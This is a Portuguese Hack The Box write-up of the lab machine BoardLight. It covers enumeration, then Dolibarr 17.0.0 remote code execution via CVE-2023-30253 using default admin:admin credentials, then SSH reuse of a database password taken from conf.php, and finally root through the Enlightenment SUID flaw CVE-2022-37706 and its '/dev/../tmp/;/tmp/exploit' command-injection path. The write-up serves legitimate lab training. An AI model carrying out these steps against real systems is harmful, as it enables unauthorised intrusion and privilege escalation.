O BoardLight é uma máquina Linux que possui uma instância do Dolibarr utilizando credenciais comuns e vulnerável com o CVE-2023-30253 que pode ser explorada para obter acesso inicial com o usuário www-data. Após a enumeração e a extração dos dados do arquivo de configuração web, credenciais em texto puro podem ser utilizadas para movimentação lateral via SSH. Investigando o sistema, é identificado um binário SUID associado ao enlightenment que está vulnerável à elevação de privilégio através da CVE-2022-37706, permitindo conquistar um shell como root.
Enumeração
Serviços
Vamos executar o nmap para enumerar os serviços que estão rodando no host externamente.
┌──(kali㉿kali)-[~/Documents/htb/boardlight]
└─$ sudo nmap 10.129.60.48 -sV -sC
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-08 18:36 -0400
Nmap scan report for 10.129.60.48
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.34 seconds
Temos o SSH rodando na porta 22 e o HTTP na porta 80.
HTTP
Acessando a porta 80 no browser, nos deparamos com uma página web, na descrição diz que se trata de uma empresa de Cybersegurança.

Dando uma olhada pela página, conseguimos identificar o domain da empresa: “board.htb”.

Inserindo esse domain no arquivo /etc/hosts e acessando board.htb, acaba levando a gente pra mesma página. Tentando enumerar algum diretório, não encontramos nada:
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://10.129.60.48/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.60.48/FUZZ
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/Web-Content/raft-large-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 208ms]
js [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 215ms]
css [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 212ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 150ms]
:: Progress: [62281/62281] :: Job [1/1] :: 215 req/sec :: Duration: [0:05:43] :: Errors: 2 ::
Como não achei mais nada interessante em board.htb, vou tentar encontrar subdomínios e ver se tem algo a mais. Para isso vou utilizar a ferramenta ffuf:
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://board.htb/ -H 'Host: FUZZ.board.htb' -fs 15949
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://board.htb/
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.board.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 15949
________________________________________________
crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 201ms]
O aparece o subdomínio crm.board.htb. Acessando o subdomínio, nos deparamos com o Dolibarr CRM rodando a versão 17.0.0.

Pesquisando na web por vulnerabilidades nessa versão, encontramos o CVE-2023-30253.

Exploitation
Acesso Inicial
O CVE-2023-30253 permite o atacante executar código no sistema através de um bypass na validação do input do usuário que não verifica a entrada em uppercase (apenas php, então “PHP” passa na validação), com isso podemos inserir o código php “” e obter remote code exection. Um detalhe importante é que só possível explorar essa falha se tivermos autenticado no sistema, tentando algumas credenciais comuns conseguimos obter sucesso com “admin:admin”.

Podemos utilizar o seguinte POC para facilitar e explorar essa vulnerabilidade, o script a grosso modo faz o seguinte:
- Faz o login usando as credenciais admin:admin
- Cria um website
- Cria um página dentro do website
- Edita a página criada inserindo o payload: no html da página e assim obtemos remote code execution
Escutando na porta 9001 com o netcat e executando o exploit, conseguimos obter acesso inicial na máquina.

Movimentação Lateral
Enumerando algumas coisas como as portas internas do host que não estavam acessíveis de fora, não encontramos nada interessante:
www-data@boardlight:~/html/crm.board.htb$ ss -tulpn │
ss -tulpn │
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process │
udp UNCONN 0 0 0.0.0.0:60129 0.0.0.0:* │
udp UNCONN 0 0 0.0.0.0:5353 0.0.0.0:* │
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:* │
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* │
udp UNCONN 0 0 [::]:44238 [::]:* │
udp UNCONN 0 0 [::]:5353 [::]:* │
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* │
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* │
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:* │
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:* │
tcp LISTEN 0 511 *:80 *:*
Mas ao procurar credencias dentro dos arquivos de configuração, conseguimos obter a credencial utilizada para acessar o banco de dados MySQL utlizado pelo Dolibarr: dolibarrowner:serverfun2$2023!!
.
www-data@boardlight:~/html/crm.board.htb$ find . -name "conf.php" 2>/dev/null
<crm.board.htb$ find . -name "conf.php" 2>/dev/null
./htdocs/conf/conf.php
www-data@boardlight:~/html/crm.board.htb$ cat ./htdocs/conf/conf.php
cat ./htdocs/conf/conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';
//$dolibarr_main_demo='autologin,autopass';
// Security settings
$dolibarr_main_prod='0';
$dolibarr_main_force_https='0';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_nocsrfcheck='0';
$dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5';
$dolibarr_mailing_limit_sendbyweb='0';
$dolibarr_mailing_limit_sendbycli='0';
//$dolibarr_lib_FPDF_PATH='';
//$dolibarr_lib_TCPDF_PATH='';
//$dolibarr_lib_FPDI_PATH='';
//$dolibarr_lib_TCPDI_PATH='';
//$dolibarr_lib_GEOIP_PATH='';
//$dolibarr_lib_NUSOAP_PATH='';
//$dolibarr_lib_ODTPHP_PATH='';
//$dolibarr_lib_ODTPHP_PATHTOPCLZIP='';
//$dolibarr_js_CKEDITOR='';
//$dolibarr_js_JQUERY='';
//$dolibarr_js_JQUERY_UI='';
//$dolibarr_font_DOL_DEFAULT_TTF='';
//$dolibarr_font_DOL_DEFAULT_TTF_BOLD='';
$dolibarr_main_distrib='standard';
www-data@boardlight:~/html/crm.board.htb$
Tentei acessar alguma coisa dentro do banco, mas nada tão atrativo, então usei a senha serverfun2$2023!! para tentar logar com o usuário Larissa:
larissa@boardlight:~$ ls /home
larissa
E consegui logar via SSH:
┌──(kali㉿kali)-[~]
└─$ ssh larissa@10.129.231.37
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
larissa@10.129.231.37's password:
Last login: Wed Sep 9 14:37:41 2026 from 10.10.14.44
larissa@boardlight:~$
Privilege Escalation
Procurando por executáveis que podem ser executados por qualquer usuário com privilégios de root, achamos o Enlightenment, que é basicamente um gerenciados de janelas:
larissa@boardlight:~$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper
A versão do Enlightenment é a 0.23.1
larissa@boardlight:~$ enlightenment --version
ESTART: 0.00001 [0.00001] - Begin Startup
ESTART: 0.00028 [0.00027] - Signal Trap
ESTART: 0.00030 [0.00002] - Signal Trap Done
ESTART: 0.00034 [0.00004] - Eina Init
ESTART: 0.00080 [0.00046] - Eina Init Done
ESTART: 0.00082 [0.00002] - Determine Prefix
ESTART: 0.00099 [0.00017] - Determine Prefix Done
ESTART: 0.00101 [0.00002] - Environment Variables
ESTART: 0.00102 [0.00002] - Environment Variables Done
ESTART: 0.00103 [0.00001] - Parse Arguments
Version: 0.23.1
E: Begin Shutdown Procedure!
Pesquisando na web, encontramos o CVE-2022-37706 que permite a escalação de privilégios para root. A vulnerabilidade ocorre porque o software não valida o input do usuário, permitindo que passe o caminho de um arquivo não pretendido com ../ que não é devidamente validado e então o Enlightenment executa esse arquivo com privilégios de root.

Vou utlizar o seguinte POC, o que o script faz é basicamente criar um arquivo em /tmp/exploit e colocar o comando /bin/sh dentro dele (echo “/bin/sh” > /tmp/exploit), e ao passar o comando para o programa, ele o engana fazendo uma travessia de diretórios que leva para esse arquivo criado (“/dev/../tmp/;/tmp/exploit”) e o comando malicioso que abre uma shell é executado como root, elevando nossos privilégios para root.
larissa@boardlight:~$ vi exploit.sh
larissa@boardlight:~$
larissa@boardlight:~$ ls
chisel Downloads linpeas.sh Public Videos
Desktop exploit.sh Music Templates
Documents linpeas-output.txt Pictures user.txt
larissa@boardlight:~$ chmod +x exploit.sh
larissa@boardlight:~$ ./exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root